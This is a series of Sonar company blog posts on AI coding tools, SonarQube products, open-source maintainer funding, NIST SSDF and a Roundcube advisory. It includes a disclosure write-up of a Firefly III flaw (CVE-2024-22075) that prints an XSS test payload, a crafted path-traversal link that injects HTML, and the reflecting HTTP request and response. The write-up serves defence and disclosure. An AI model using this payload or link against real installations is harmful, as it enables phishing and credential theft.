Open AI o-series (Commercial): The first in the o-series was o1, designed to enhance reasoning capabilities beyond what GPT-4 offered in code tasks. The o1 model established a baseline for effective prompt-to-code translation and achieved notable results in coding benchmarks.

GitHub Copilot (Commercial): This AI assistant, powered by OpenAI Codex previously, can suggest code completions and functions as you type. It integrates directly into development environments (IDEs) like Visual Studio Code. It is now powered by OpenAI’s latest models (like o1), to assist developers in producing code faster.

TabNine (Commercial): This AI coding assistant is designed for code completion and generation. It supports a wide range of programming languages and focuses on seamlessly integrating into various IDEs.

Claude 3 by Anthropic (Commercial): Known for their focus on safety and interpretability, their models are gaining traction for enterprise use cases.

Code LLaMA (Open source): A variant of the LLaMA model family, CodeLlama supports multiple programming languages and excels at generating and completing code with high accuracy. With fine-tuning, this model can be adapted for specific coding tasks, making it a versatile option.

DeepSeek R1 (Open source): This model with its open licensing (MIT-licensed), along with open weights, offers a cost effective alternative for AI code generation.

GPT-J (Open source): An open-source alternative that, with the right customization, can be tailored for generating clean, high-quality code.

StarCoder (Open source): An open-source model trained on diverse programming languages, and ideal for tasks like code completion, synthesis, and refactoring.

Ensuring the Quality and Security of AI-generated Code

While LLMs can significantly speed up the software development process by generating code quickly, they also come with potential risks. The code produced by these models may contain bugs or security vulnerabilities that could compromise the reliability and safety of your software. To mitigate these risks, it's essential to conduct thorough code reviews using specialized tools like SonarQube Server and SonarQube Cloud. These tools are designed to automatically analyze your code for common errors, potential security flaws, and adherence to best practices. Sonar AI Code Assurance, available in SonarQube Server and SonarQube Cloud, enables developers and organizations to confidently integrate AI into their coding workflows. It enforces high standards of quality and security by guiding developers through a thorough validation process, ensuring that AI-generated code is fully understood and verified before reaching production. By integrating AI Code Assurance into your development process, you can ensure that the code generated by the LLM is not only efficient but also secure and reliable. This approach helps you maintain high standards in your software projects, reducing the likelihood of issues that could lead to costly fixes or security breaches down the line.

Learn how integrating AI code generation tools with Sonar solutions boosts productivity and ensures high-quality software. Request a demo to learn more.

SonarQube Cloud or SonarQube Server, What's Right for Your Team?

Robert Curlee — Wed, 21 Aug 2024 05:00:00 GMT

This blog was originally published on April 28, 2020. Since then, it has been refreshed with updated content, including newly added features as of August 2024.

TL;DR overview

This guide helps organizations choose between SonarQube Server (self-managed) and SonarQube Cloud (SaaS) based on factors including data sovereignty requirements, infrastructure ownership preferences, and maintenance capacity.
SonarQube Cloud is the recommended starting point for most teams, offering automatic updates, zero infrastructure management, and native integration with cloud-based DevOps platforms including GitHub, GitLab, Bitbucket, and Azure DevOps.
SonarQube Server is suited for organizations with strict data residency requirements, complex enterprise network environments, or a need for deep customization and self-managed control over the analysis infrastructure.
Both products deliver the same core code quality and security analysis capabilities, so the choice is primarily about deployment model and operational trade-offs rather than feature differences.

SonarQube Cloud and SonarQube Server are both valuable tools to help you write clean, high-quality code for your projects. So, which solution is best for you and your team?

The choice boils down to whether you want a self-managed solution or a cloud-based SaaS service that is managed for you. Both solutions give you essentially the same core features at each edition level, whether you're a small team or a large enterprise company. In this blog, I will walk you through the options so you can make an informed decision.

The base: Static analysis for 30+ languages

Both products cover the same 30+ languages and frameworks. They share the same underlying static code analysis engine to catch issues that result in bugs, vulnerabilities, and code smells and generate valuable code quality metrics. The essential distinction: Your existing software development pipeline

The distinction: Where is your CI/CD pipeline?

One of the key differences concerns how each product is hosted and managed. SonarQube Cloud is a fully SaaS offering where Sonar hosts and manages the software for you in the cloud. If your team is already operating in a cloud DevOps platform, where your code and workflow are fully cloud-based (e.g., GitHub.com+Travis), then SonarQube Cloud is a good fit.

SonarQube Cloud readily integrates with cloud-based DevOps platforms: GitHub.com, GitHub Enterprise Cloud, Azure DevOps Services, Bitbucket Cloud, and GitLab.com. Sonar operates SonarQube Cloud in AWS, which is the easiest path to start scanning your code within minutes. With SonarQube Cloud, Sonar does all the heavy lifting for you, so you don't have to worry about installation, upgrades, or maintenance. As a SaaS offering, SonarQube Cloud gives you immediate access to new features and functionality the moment they are released.

SonarQube Cloud features automatic analysis for over 30 languages to get you up and running fast. This autoscanning feature can be a perfect fit for teams that want actionable code quality metrics without the burden of tool configuration. For some use cases, fully setting up the analysis configuration will yield a better developer experience and 'unlock' more SonarQube Cloud features.

SonarQube Server, on the other hand, is entirely operated by you in the environment of your choice. You deploy SonarQube Server along with a supported database on your own servers or in a self-managed cloud environment. Once installed, SonarQube Server readily integrates with your self-hosted instance of GitHub, GitLab, Azure DevOps, or Bitbucket. If you have a hybrid environment where you store code in the cloud and rely on a locally managed CI/CD pipeline, SonarQube Server can also integrate with the cloud versions of all these DevOps platforms.

Going the SonarQube Server route means you'll be hands-on with installing, upgrading, and maintaining your environment on your terms. On average, we release a new version of SonarQube Server every two months. To stay current with new features, functionality, security updates, and bug fixes, we recommend you upgrade when a new version is released. Speaking of versions, it's important to note that SonarQube Server offers a Long-Term Active (LTA) version. Sonar releases a SonarQube Server LTA version approximately every 18 months. The focus of the LTA is to package all the features of the dot releases in a stable version that we release on a cadence in line with large companies' ability to schedule large upgrades. Critical bug fixes and security updates are also released to the LTA in patches as needed.

For enterprise needs, Sonar recommends the SonarQube Cloud Enterprise plan and SonarQube Server Enterprise Edition (EE), both offering advanced features tailored to your organization's specific use cases. This functionality falls into five main categories: authentication, governance, executive reporting, multiple repository support, and extensibility.

Authentication

With SonarQube Cloud and all editions of SonarQube Server, you can authenticate using your existing DevOps platform credentials (GitHub, Bitbucket, Azure, and GitLab). SonarQube Server also allows you to authenticate using third-party tools that support SAML and LDAP protocols. SonarQube Cloud Enterprise offers Single Sign On with SAML.

Additionally, with SonarQube Server Enterprise Edition, automatic provisioning of users and groups through System for Cross-domain Identity Management (SCIM) is available for Okta and Azure AD.

Governance

Sonar's solutions also include aggregating projects into applications (SonarQube Server Developer Edition+) and portfolios (SonarQube Cloud Enterprise plan and SonarQube Server Enterprise Edition+), which are visual dashboards that allow you to organize projects in a manner that tracks your business objectives. Applications allow you to have a single view of all the projects that ship together as a complete app. Portfolios are similar and enable you to aggregate multiple apps and projects around organizational or business objectives. For example, you can create a portfolio to track all your front-end projects or all the projects for a geographical team.

Executive reporting

With SonarQube Server Enterprise Edition and SonarQube Cloud Enterprise plan, you additionally get executive-level reporting capabilities. These reports work hand-in-hand with your portfolios to give you insight into key metrics such as reliability, maintainability, and releasability. Additionally, there are security reports, including coverage for PCI DSS, OWASP ASVS, OWASP Top 10, CASA, STIG, and CWE Top 25.

SonarQube Server saw its beginnings well over a decade ago. As the product matured, we identified an 'Enterprise' use case distinct from the 'core' functionality use case centered on developers. It's common for large organizations to have a 'non-developer' audience requiring measurement from a broader perspective and context. To satisfy this need for reporting and business KPIs, we added a set of 'governance' features to SonarQube Server.

As our customers started adopting the cloud and asking for enterprise features, we started offering these features in the Enterprise plan that was released in the summer of 2024.

DevOps platform support

Sonar solutions serve organizations that require connectivity to multiple DevOps platforms.

For example, a single SonarQube Server Developer Edition instance can make a single connection each for up to four DevOps platforms (1x GitHub, 1x Bitbucket, 1x GitLab, and 1x Azure DevOps). If you need multiple configurations for a specific DevOps provider (e.g., 2x GitHub Enterprise Server and 1x GitHub.com), you'll need SonarQube Server Enterprise Edition.

SonarQube Cloud also supports multiple DevOps platforms. With SonarQube Cloud Enterprise, several organizations can be grouped together under an enterprise. The enterprise’s organizations may belong to different DevOps platforms. This means you can add all your organizations (no matter which DevOps platform or how many) to your enterprise.

A note on extensibility

Lastly, I'll touch on extensibility. The Sonar community has developed and maintained an expansive and robust library of SonarQube Server plugins. These plugins extend the functionality of SonarQube Server in more fringe areas to cover capabilities Sonar does not plan to support. Examples include additional programming language support, integration with less mainstream SCM engines, and regional language localization.

At this time, SonarQube Cloud is not open for 3rd party plugin contributions from the community.

Wrapping it all up

In summary, if your team is entirely cloud-based, you don't want maintenance hassles and you'd like the fastest access to new features, SonarQube Cloud is an excellent choice. If you're OK with self-hosting and maintenance or see value in the management capabilities, then SonarQube Server would make sense.

Once you've chosen your path, I encourage you to visit our solution summary for full details on how to get started.

The goal of this article wasn't to exhaustively list all the product differences, as each environment is unique. However, you now have the information relevant to most use cases. If you have further questions, I encourage you to contact our Community Forum. If you need assistance regarding commercial usage, you can submit a question to the team.

Pick a topic to discover more:

How Bad Code Destroys Developer Velocity

Your Guide to Code Quality in Cloud Native Apps

Level Up Your Team's Skills as They Code

Sonar Founder Olivier Gaudin at QCon London 2024

Arden Gonzales — Thu, 15 Aug 2024 13:00:00 GMT

TL;DR overview

Sonar co-founder and CEO Olivier Gaudin spoke at QCon London 2024, sharing his perspective on code quality, developer productivity, and the challenges organizations face in adopting AI coding tools responsibly.
The talk covered Sonar's Code Quality methodology and how it applies in the context of rapidly increasing AI-generated code volumes.
Key themes included the importance of measuring true end-to-end engineering velocity rather than raw code output when evaluating AI productivity claims.
Sonar's broader mission is to help organizations achieve a state of code quality that is secure, maintainable, and reliable across both human-written and AI-generated code.

This past spring, senior software engineers, software architects, and engineering team leaders from around the world attended QCon London to share information and adopt the right software innovations and practices.

Alongside top engineers from companies such as Microsoft, Meta, and GitLab, Olivier Gaudin, Sonar's founder took the stage to discuss Code Quality as the foundation of well-functioning development teams.

(Pictured left to right: Tom Howlett, Head of Product Management; Nicolas Peru, Head of Product Delivery; and Olivier Gaudin, Sonar founder and Chairman, at QCon London 2024)

When teams and their software work from bad code, both underperform. In his talk, Olivier explores how this can be easily remedied by taking just a few very simple steps toward a cleaner approach to code, regardless of the technology and tools in use or the seniority of the team. You can view the full presentation below, but for a quick jump into the key highlights, keep reading!

Watch the video

The Core of Software is Code

The world runs on software. When you use your car, buy a concert ticket on an app, message a friend over social media, or play music from a streaming service, all of these things are enabled through software. And code is what is at the core of the capabilities that software enables.

Every digital tool, application, or system starts as code written by developers. Code is essential for building, maintaining, and improving software. That’s why when an error or bug in code is pushed to production, the consequences can be massive. This could result in features not working properly, application crashes, and even more severe problems like negative impact on customers, damage to business reputation, and expensive setbacks.

For businesses to compete in today’s software-driven market, digital innovation is essential. With code at the foundation of this, it is vital that development teams are able to work efficiently and effectively. When there are big cracks in the foundation (i.e. lines of bad, insecure, and poorly written code), technical debt, security incidents, and availability issues can arise, placing innovation on the back burner. Organizations must invest in the right tools for their development teams, and ensure the right approach to software development is in place, so that code does what it should – drive business.

Good Software is Made of Code Quality

Poor-quality code can have wide-ranging repercussions and be detrimental to organizations on various levels. Only when the characteristics of Code Quality are met — consistent, intentional, adaptable, and responsible — can development teams be confident that the software is quality, maintainable, reliable, and secure.

Developers should focus their coding efforts with an eye toward quality control to ensure top performance. This can be done by practicing Clean as You Code (CaYC), whether writing the code yourself or working with code generated by AI. When a CaYC approach is taken to software development, developers have better control over their code and can ensure overall better application performance. This also results in reduced business and reputational risk, decreases code-level tech debt, and increases developer velocity.

Pairing this approach with the right tools is critical. Many code analysis tools currently focus on identifying security issues but what are the next steps for the developer when they receive this data? Different companies have their own ways of handling problems, often leaving teams to assess code issues on a case-by-case basis. Code Quality helps developers understand the bigger picture together, supporting collective intelligence and consistent cross-team collaboration.

The ability to reduce the risk of poor software ultimately depends on the investment in building continuous Code Quality, ensuring a final product that’s reliable and doesn’t contribute to tech debt.

Prevention and Remediation at the Same Time

When faced with a bursting pipe, the natural response is to quickly mop up the mess. However, mopping up just the mess itself does not truly solve the root of the problem (the broken pipe). Software is made up of code, and for software to operate as intended, it must be built on Code Quality. Similarly with the broken pipe, if there’s an issue in the code, the root cause should be addressed first rather than continuously mopping up the incurring damage.

With a CaYC approach, developers take responsibility for their code and can be confident that further problems aren’t introduced when code is changed or added. As developers change software to meet new language updates and compliances, they can rest assured that they’re increasing their code quality and reducing tech debt.

Front-End Frameworks: When Bypassing Built-in Sanitization Might Backfire

Stefan Schiller — Tue, 13 Aug 2024 15:00:00 GMT

TL;DR overview

Front-end frameworks like Angular, React, and Vue provide built-in sanitization that prevents XSS by default, but developers frequently bypass these protections using APIs like bypassSecurityTrustHtml or dangerouslySetInnerHTML.
Bypassing sanitization is sometimes necessary for legitimate rich-text rendering, but doing so with user-controlled content creates cross-site scripting vulnerabilities that the framework would otherwise prevent.
Sonar detects uses of these bypass APIs in source code, flagging them as security hotspots that require a manual security review to confirm safe use.
Teams should audit all uses of sanitization bypass APIs, ensure input is sanitized by a dedicated library before being passed to these methods, and document the rationale for each accepted use case.

Modern JavaScript front-end frameworks like React, Angular, and Vue.js safeguard your application from Cross-Site Scripting (XSS) vulnerabilities by automatically escaping untrusted content. While this is a suitable and safe solution for most use cases, there might be scenarios where developers want to directly render HTML and thus need to bypass this protection.

This is obviously dangerous, and it’s a developer's responsibility to ensure that the inserted content is safe. For this, it is crucial to verify that a malicious user cannot control the data that is inserted as raw HTML. However, other unrelated issues in the application can quickly falsify the assumption of what can be controlled and what cannot - leading to an XSS vulnerability.

This blog post will showcase the dangers of bypassing a framework’s built-in sanitization by explaining how attackers could have exploited the finance application Firefly III. We will explain how a combination of Client-Side Path Traversal and a deliberate Sanitization Bypass could make your application vulnerable, too.

Bypassing Built-in Sanitization

For the sake of this blog post, we will stick to Vue.js, which is used by Firefly III. The same principles apply to other JavaScript front-end frameworks like React and Angular.

Vue.js uses the Mustache template syntax with double curly braces to interpolate text into an element:

<template>
  <div>{{ userInput }}</div>
</template>

The built-in sanitization ensures that even if userInput contains malicious HTML like <img src=x onerror=alert(1)>, no alert box is triggered since the value of userInput is inserted as text only. This can be verified by inspecting the syntax highlighting in the DOM tree visualizer of the browser devtools. The whole img tag is colored in black:

There might be a use case where a developer does not only want to dynamically insert text but raw HTML. For this purpose, the v-html directive can be used to bypass the text-only limitation:

<template>
  <div v-html="userInput"></div>
</template>

If userInput contains <img src=x onerror=alert(1)> now, it is actually inserted as raw HTML and the alert box is triggered. The syntax highlighting in the DOM tree now looks like this:

This deliberate bypass of the built-in sanitization should be used with caution and only in scenarios where it can be ensured that a user cannot control the value that is inserted as raw HTML. This does not only apply to Vue.js, but also to other JavaScript front-end frameworks.

Sonar’s source code analysis provides more than 400 rules for JavaScript, including specific rules for React, Angular, and Vue.js. When we analyzed the popular finance application Firefly III on SonarQube Cloud, one of these rules was triggered. This issue quickly caught our attention:

View this issue on SonarQube Cloud

In the following section, we explain why this is an unsafe bypass and describe how attackers could leverage Client-Side Path Traversal (CSPT) to control the error_message value that is rendered as raw HTML.

Firefly III Sanitization Bypass & Client-Side Path Traversal (CVE-2024-22075)

When inspecting the file containing the issue raised by SonarQube Cloud, we noticed that the error_message variable is populated in the catch-block of an Axios request made to the /api/v1/webhooks/ endpoint. The catch-block is entered when the web server responds with a non-2xx status code. In that case, error_message is populated with the message value of the JSON response:

downloadWebhook: function (id) {
      axios.get('./api/v1/webhooks/' + id).then(response => {
        // ... handle response ...
      }).catch(error => {
        this.error_message = error.response.data.message;
      });
    },

The id variable passed to the downloadWebhook function is appended to the requested API endpoint. This id is taken from the browser's current URL via the window.location.href attribute:

const page = window.location.href.split('/');
const webhookId = page[page.length - 1];
this.downloadWebhook(webhookId);

Thus, the request issued by the browser looks like this when the id is 1, for example:

An attacker who would like to inject HTML code into the error_message would need to make the API request return a non-2xx status code and control part of the JSON message value returned from the web server.

Since the id passed to the downloadWebhook function is directly taken from the browser's URL and appended to the requested API endpoint without any sanitization, an attacker can craft a malicious URL with an id that traverses to another API endpoint. This technique is known as Client-Side Path Traversal (CSPT).

Let's consider the following example. Usually, the browser's URL looks like this:

http://example.com/webhooks/edit/1

The id is populated with all content of this URL after the last slash. Thus the id is 1 for this example. The corresponding API request made by the client-side JavaScript code is this:

http://example.com/api/v1/webhooks/1

An attacker can leverage this by crafting a malicious URL like this:

http://example.com/webhooks/edit/1#/..\..\..\some\other\endpoint

The 1# at the beginning is necessary to make the server-side endpoint handler respond with a valid page. If the attacker now tricks an authenticated victim into visiting this link, the victim's browser extracts the id, which is everything after the last forward slash:

..\..\..\some\other\endpoint

This id is appended to the requested API endpoint and the victim's browser normalizes the backslashes to forward slashes. Thus the browser performs a request to the following endpoint:

http://example.com/some/other/endpoint

An attacker can leverage the /reports/default/1/<start>/<end> endpoint to control parts of the returned JSON message value. This endpoint tries to convert the start and end path parameters to DateTime objects. When this conversion fails, it returns an HTTP 500 Internal Server Error response, which reflects the end value in the message response:

Request

GET /reports/default/1/0/INJECT HTTP/1.1
Host: example.com

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 19 Dec 2023 09:30:45 GMT
Server: Apache
...

{"message":"Internal Firefly III Exception: Failed to parse time string (INJECT) at position 0 (I): The timezone could not be found in the database","exception":"Carbon\\Exceptions\\InvalidFormatException"}

This allows an attacker to use the Client-Side Path Traversal vulnerability to reach the XSS sink:

An attacker can, for example, craft the following malicious link:

http://example.com/webhooks/edit/1#/..\..\..\..\reports\default\1\0\%3Ch1%3EHACKED%3Cbr%3E%3Cbr%3E

If an authenticated victim clicks on this link, and there is a least one webhook configured, the HTML code is injected into the page:

Limited Impact Due to Strong CSP

Fortunately, the default setup of Firefly III employs a strong Content-Security-Policy (CSP) that prevents an attacker from performing Cross-Site Scripting (XSS). The vulnerability could still be used to inject arbitrary HTML or CSS into the page. For example, an attacker can inject a meta tag, which immediately redirects the user to another page. This can be used in a phishing attack to redirect the user to a page that looks similar to the Firefly III application and prompt the user for their credentials. Alternatively, an attacker could leverage CSS data exfiltration techniques or craft a fake UI and trick the user into making a form submission to the application (submitting a form to another origin is prevented via the CSP).

Patch

The vulnerability was fixed with Firefly III version v6.1.1. Since the error message is supposed to be populated with raw HTML, the v-html directive was not removed and two mitigations were applied to prevent an attacker could control this value.

At first, the Client-Side Path Traversal vulnerability was fixed by converting the webhookId extract from the URL to an integer:

-     const webhookId = page[page.length - 1];
+     const webhookId = parseInt(page[page.length - 1]);

Secondly, the error message raised by the /reports/default/ endpoint was changed so that it does not contain any dynamic data and only a static error message:

-       } catch (InvalidDateException $e) { // @phpstan-ignore-line
+       } catch (InvalidDateException|InvalidFormatException $e) { // @phpstan-ignore-line
           $message = sprintf('Could not parse date "%s" for user #%d: %s', $value, auth()->user()->id, $e->getMessage());
           app('log')->error($message);
-           throw new NotFoundHttpException($message, $e);
+           throw new NotFoundHttpException('Could not parse value', $e);
       }

It is generally a good approach to only return static error messages, as highlighted by one of our recent findings in Mailcow, where a controlled error message led to XSS.

If your application uses built-in sanitization bypasses, we recommend reconsidering whether they are really required or cannot be circumvented. If necessary, the data that is inserted as raw HTML should be sanitized beforehand, for example, by using a client-side sanitizer like DOMPurify.

Timeline

Date	Action
2023-12-20	We report the issue to the Firefly III maintainers.
2023-12-20	Firefly III maintainers acknowledge our report and provide a patch.
2023-12-26	Fixed version v6.1.1 is released.

Summary

In this blog post, we highlighted the need to take great care when bypassing built-in sanitization in JavaScript front-end frameworks. For use cases where this is really necessary, the data inserted as raw HTML should be sanitized to allow only necessary and safe tags and attributes. The Firefly III vulnerability covered in this blog post showed that this is not always easy.

We demonstrated how attackers might leverage a Client-Side Path Traversal vulnerability to control values that were assumed to be uncontrollable. Because of this, data inserted as raw HTML should be sanitized properly beforehand. Furthermore, a strong CSP should act as an additional defense-in-depth mechanism to reduce the impact of vulnerabilities like this.

At last, a huge shoutout to James and the rest of the Firefly III team for quickly verifying our report and providing a comprehensive patch. Thank you!

The Red Hat IPO experiment to pay maintainers: 25 years later

Sonar — Mon, 12 Aug 2024 15:10:00 GMT

TL;DR overview

The Red Hat IPO in 1999 was the first experiment in paying open source maintainers by offering community contributors the option to buy stock, setting an early precedent for compensating the people behind critical software.
Twenty-five years later, the open source community faces an escalating maintainer sustainability crisis, highlighted by incidents like the xz utils social engineering attack on an unpaid volunteer.
Scaling maintainer compensation today is exponentially more complex: the 2023 GitHub Octoverse report counted 4.5 billion contributions and 2.2 million first-time contributors in a single year.
Organizations relying on open source are encouraged to invest in maintainer compensation models to reduce supply chain risk and support the long-term health of the ecosystem.

Twenty five years ago this week, on August 11, 1999, Red Hat went public in a stock offering that at the time was one of the largest ever, ending its first day of trading worth $3.5 billion.

I thought it would be interesting to look back at the Red Hat IPO on this anniversary, but not for its financial impact on the company, which looks small against the backdrop of other Red Hat financial and business milestones across the years. What remains particularly notable about the IPO today is that it was the first-ever experiment in paying open source maintainers and other community contributors in return for the value they create. Red Hat did this by giving a select group of community contributors the option to buy stock through its IPO.

Over the last several years, the open source community has been increasingly focused on addressing the issue of unpaid or underpaid maintainers. For good reason: the increasing use of open source software in mission critical applications means that open source maintainers are being asked to do more than ever before to ensure their projects are well maintained and secure. Only 13% earn most or all of their income from their work on open source.

This is a dangerous situation for any organization that relies on open source software. The recent xz utils social engineering hack where a malicious actor compromised a popular package maintained by an unpaid volunteer through a supply chain attack years in the making is only one example of what can go wrong when the work of open source maintainers is not adequately supported.

So how did Red Hat’s original experiment to pay open source contributors play out? Let’s take a look back.

The roots of the idea

I reached out to Bob Young, Red Hat’s co-founder, and asked him to share some of the history of how the company originally came up with the idea of including open source community contributors in the stock offering.

“It started with a board meeting shortly after the Benchmark/Greylock investment in the summer of 1998 when we were explaining risks of our business model to our new directors. The conversation started with Linus [Torvalds, the founder of Linux] who we sent shares to in 1998,” Bob said. “But as our IPO approached and we realized that it was likely to be either successful or very successful (no one foresaw just how big it became), we (the board) felt an urgency to both reward more members of the community but also to make the point that we recognized our success was not possible without the support of the larger community of contributors.”

Interestingly, the Red Hat board even in these early days saw that building a company on top of open source would require investing back in the open source projects they relied on, and Red Hat’s investors understood why it was important as well.

“We recognized, and needed to communicate this clearly to the world, that if we were going to build a for-profit company using open source software we had to play by the rules of the community who were producing the open source software our business depended upon,” said Bob. “We were fortunate that our new directors (Bill Kaiser from Greylock, Kevin Harvey, and Eric Hahn) were very interested and open to understanding our business model. They, and Eric in particular, actively pushed to issue more shares to more members of the OS community prior to the IPO.”

Deciding who to reward with IPO shares

A Linux Magazine article from November, 1999 (which is no longer available online but was captured in this blog post by Harish Pillay) tells the story of how Red Hat chose who would be invited to participate in the IPO.

“It was clear that Red Hat wanted all the open source developers who had made its success possible to participate in its public offering. Red Hat would be nowhere without the hackers, and the company knew it.

Red Hat Director of Technical Projects Donnie Barnes spent three weeks scouring the Internet, digging up all the contributor lists to all the open source projects he could find. Red Hat then had to craft a letter to this list of developers. The SEC has a complex set of rules about what companies can and cannot say when they offer shares to the public. If a company doesn’t stay well within the rules, the SEC can—and regularly does—withhold permission to proceed with an IPO.

Red Hat ended up with a letter which, while legally acceptable, was ‘sufficiently badly worded to end up alienating a significant percentage of the developers we mailed it to,’ [Bob] Young said.”

The open source community meets Wall Street

As so often happens, the original genius idea—rewarding those who had contributed to the open source software Red Hat relied upon—became more complicated once Wall Street got involved. Many of the open source community members did not meet the SEC criteria to be allowed to participate in the IPO.

The Linux Magazine article shares more details:

"Unfortunately a significant percentage—about 15 percent—of the developers to whom Red Hat offered shares were either students or otherwise inexperienced investors by the SEC’s standards.

‘And of course this offer was not being made by the SEC—it was being made by Red Hat and E*TRADE. So when members of the development community that we had extended the offer to found themselves declared ineligible, they initially naturally blamed Red Hat and E*TRADE,’ Bob Young said."

The final result was that well over one-fifth of the developers on the list were interested, eligible, and able to participate in the Red Hat IPO.”

At the time, Harish Pillay was one of the people invited to take advantage of the Red Hat offer, and later went on to work at Red Hat for almost 20 years. He has positive memories of the IPO and Red Hat’s generous offer, which he shared with me recently.

“I was one of the recipients of shares from Red Hat as a person who contributed to Linux. I never expected those shares and don't recall how many were offered. But when the email came, I thought it was spam. I had to open an account in a service to accept the shares and it was itself quite an experience,” Harish said. “Thanks to all those who understood that an organization like Red Hat would not happen without the community around it. The community did what the community did. Red Hat played a crucial catalyst in moving the validity and credibility of the open source way.”

Fast forward to paying maintainers today

A long time passed between this early experiment in paying open source contributors (and a similar one by VA Linux a few months later) and the next set of meaningful efforts. In the ensuing years, open source usage has grown exponentially. In 1999, Donne Barnes could scour the Internet and find all of the contributors to open source in the world and email them about the Red Hat IPO in less than three weeks.

According to the 2023 GitHub State of the Octoverse report, there were 4.5 billion contributions to all projects on GitHub and a staggering 2.2 million people became first-time contributors to open source projects in 2023. It would take much longer, and be exponentially more expensive, to undertake a project like Red Hat’s community IPO stock offer today.

Meanwhile, open source has become an irreplaceable resource relied upon by organizations around the world. And many of these organizations have made investing in the success of the open source projects they rely on a priority, either by becoming contributors or by financially supporting open source maintainers.

Leading technology companies like GitHub, through its GitHub Sponsors program, have made it possible for organizations to donate directly to projects and their maintainers. We have scaled a model that pays maintainers recurring income to ensure their projects follow secure software development practices, and make commitments to continue these practices into the future so enterprise users can build applications using open source with confidence.

Returning to Bob Young’s memory earlier of why Red Hat made the decision to include community contributors in the stock offering, emphasis mine:

“We recognized, and needed to communicate this clearly to the world, that if we were going to build a for-profit company using open source software we had to play by the rules of the community who were producing the open source software our business was dependent on.”

In 2024, even as many organizations are contributing to projects by writing code or by financially supporting open source projects, many still do not. Some organizations treat open source as a bottomless resource, strip mining without participating in sustaining its long-term health.

They do so at their own peril.

What Red Hat recognized in 1999, and leading organizations still realize today, is that contributing back to open source is a business requirement. It is in any organization’s direct financial interest to ensure the open source projects they depend on, and the open source maintainers behind them, have the resources and support they need to keep their creations healthy, secure, and properly maintained. By investing in this important work, they protect their own revenue, data, and customers. But they also follow in the footsteps of pioneering organizations like Red Hat, doing their part to ensure the continued growth and vitality of open source.

How Sonar Helps Meeting NIST SSDF Code Security Requirements

Robert Curlee — Wed, 07 Aug 2024 17:00:00 GMT

TL;DR overview

The NIST Secure Software Development Framework (SSDF) provides a structured set of practices for reducing the number and severity of software vulnerabilities, now widely referenced in U.S. federal procurement requirements.
Sonar directly supports SSDF practices including code review (PW.7), identifying and managing security vulnerabilities (RV.1), and maintaining the software supply chain (PO.5) through automated SAST and SCA.
Organizations can map their SonarQube workflows to specific SSDF tasks, using analysis reports and Quality Gate histories as evidence of practice implementation during audits or assessments.
As federal agencies increasingly require SSDF adherence from software vendors, integrating Sonar into the development pipeline provides both security value and compliance documentation.

What is the NIST SSDF?

The NIST Secure Software Development Framework (SSDF) brings together security best practices and recommended standards collated from the industry’s best cyber security experts to help organizations minimize the risk of software vulnerabilities and mitigate cyber security attacks. It is designed to be adaptable without being specific to a methodology so you can easily integrate it into your existing software development lifecycle (SDLC) and fit it into your specific organization’s size, risk profile, and security practices.

NIST SSDF 1.1 with Sonar, Explained

The NIST SSDF 1.1 is organized into four key sections, each focusing on a specific aspect of security risk during software development. The four key practices are as follows, including how Sonar helps with each practice.

1. Prepare the Organization (PO)

This section focuses on establishing a security culture within the organization and creating an environment that prioritizes secure software development practices.

SonarQube Server integrates seamlessly into existing toolchains, providing automated code analysis and continuous inspection capabilities throughout the SDLC.
Once you define your specific security posture, you can configure SonarQube Server quality profiles and custom security engine configurations (available in the Enterprise edition), so your development teams follow your company-specific policies as they code.

2. Protect the Software (PS)

This section emphasizes safeguarding all software components so that only authorized access is allowed, and any tampering is prevented.

SonarQube Server's integration with version control systems (VCS) like GitHub and GitLab ensures that all code changes are tracked and audited.
SonarQube Server’s strict authentication mechanisms and user and group permissions prevent unauthorized access and maintain the integrity of your codebase.
SonarQube Server's Quality Gates feature allows organizations to set predefined criteria that must be met before code can be released, ensuring code integrity throughout the development process.

3. Produce Well-Secured Software (PW)

This section highlights activities that lead to developing software with minimal security vulnerabilities, such as secure design principles, threat modeling, secure coding practices, recurring code reviews, and static code analysis.

SonarQube Server performs automated code reviews using static code analysis to identify security vulnerabilities and code quality issues early in the development process, allowing developers to address issues during the design and implementation phases.
SonarQube Server's detailed reports and dashboards provide visibility into code quality and security, facilitating design reviews and compliance checks.
SonarQube Server can detect code duplication, encouraging developers to reuse existing, well-tested code rather than reinventing the wheel.
SonarQube Server enforces a wide range of coding standards and best practices through its rule sets, which can be customized to follow your organization’s security guidelines.
By integrating SonarQube Server into the build process, organizations can ensure that security checks are performed at every stage of development.
A core strength of SonarQube Server, the SSDF explicitly calls for a static analysis tool “to automatically check code for vulnerabilities and compliance with the organization’s security coding standards.”

4. Respond to Vulnerabilities (RV)

Lastly, this section focuses on the processes for identifying, mitigating, and remediating vulnerabilities discovered in software after it is released.

SonarQube Server continuously monitors code for new vulnerabilities, providing real-time feedback to developers.
Sonar shortens the detection and remediation cycle by providing developers with accurate, up-to-date vulnerability information within their daily workflows.
SonarQube Server's detailed reports prioritize vulnerabilities based on their severity and impact on code quality, allowing organizations to focus on the most critical issues.
SonarQube Server's detailed issue descriptions, using the Learn as You Code (LaYC) methodology and code navigation features, help developers understand and address the root causes of vulnerabilities.

Sonar’s solutions, including SonarQube for IDE, SonarQube Server, and SonarQube Cloud, help you meet NIST SSDF code security requirements and enhance overall code quality. Sonar addresses critical NIST SSDF practices for protecting and securing software and responding to vulnerabilities, making it essential for a comprehensive, secure development lifecycle. With Sonar's integrated code quality and code security solutions, you can build secure, reliable, and maintainable software.

Not yet using SonarQube for IDE, SonarQube Server, or SonarQube Cloud? Give them a try now. Or, if you’re already using SonarQube Community Build, upgrade to SonarQube Server Enterprise Edition to get the most value and strongest security features Sonar has to offer.

Government Emails at Risk: Critical Cross-Site Scripting Vulnerability in Roundcube Webmail

Oskar Zeino-Mahmalat — Mon, 05 Aug 2024 15:00:00 GMT

Update 2024-08-27: Full technical details added.

TL;DR overview

A critical cross-site scripting vulnerability in Roundcube webmail allows attackers to execute malicious JavaScript in a victim's browser simply by sending them a crafted email.
Because Roundcube is widely deployed by government agencies, NGOs, and ISPs, successful exploitation can lead to session hijacking, credential theft, and lateral movement within targeted organizations.
The flaw bypasses Roundcube's existing HTML sanitization by exploiting edge cases in how certain HTML attributes or SVG elements are processed and rendered in the webmail client.
Roundcube users—especially government organizations—should apply the patch immediately, as exploitation requires no user interaction beyond opening the malicious email.

Key Information

Sonar’s Vulnerability Research Team recently discovered a critical Cross-Site Scripting (XSS) vulnerability in Roundcube, a popular open-source webmail software.
